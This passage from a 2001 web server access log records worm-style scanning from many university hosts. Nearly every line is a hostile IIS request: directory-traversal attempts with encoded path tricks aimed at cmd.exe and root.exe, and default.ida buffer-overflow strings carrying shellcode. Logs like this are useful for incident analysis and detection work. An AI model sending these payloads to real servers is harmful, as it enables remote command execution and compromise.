HTTP/1.0" 20010919 02:57:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:59:26: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:59:26: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:26: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:59:28: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:02:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:02:43: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:02:43: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:43: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:02:44: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:07:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:10:42: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:10:42: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:42: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:42: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:10:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:12:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:15:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:15:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:15:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:16:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:25:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:25:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:26:32: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:27:33: [203.236.98.249] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:30:01: [203.236.98.249] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:30:20: [203.236.98.249] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:30:39: [203.236.98.249] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:31:02: [203.236.98.249] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:31:21: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:31:22: ops005.facil.umass.edu [128.119.184.35] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:31:22: ops005.facil.umass.edu [128.119.184.35] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:31:23: [203.236.98.249] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:31:44: ops005.facil.umass.edu [128.119.184.35] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:31:44: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:31:44: ops005.facil.umass.edu [128.119.184.35] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:31:45: ops005.facil.umass.edu [128.119.184.35] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:31:45: [203.236.98.249] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:03: ops005.facil.umass.edu [128.119.184.35] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:03: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:07: [203.236.98.249] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:26: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:26: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:26: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:27: [203.236.98.249] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:45: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:45: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:46: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:32:46: [203.236.98.249] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:04: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:04: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:33:04: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:33:04: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:06: [203.236.98.249] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:24: [203.236.98.249] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:33:43: [203.236.98.249] "GET 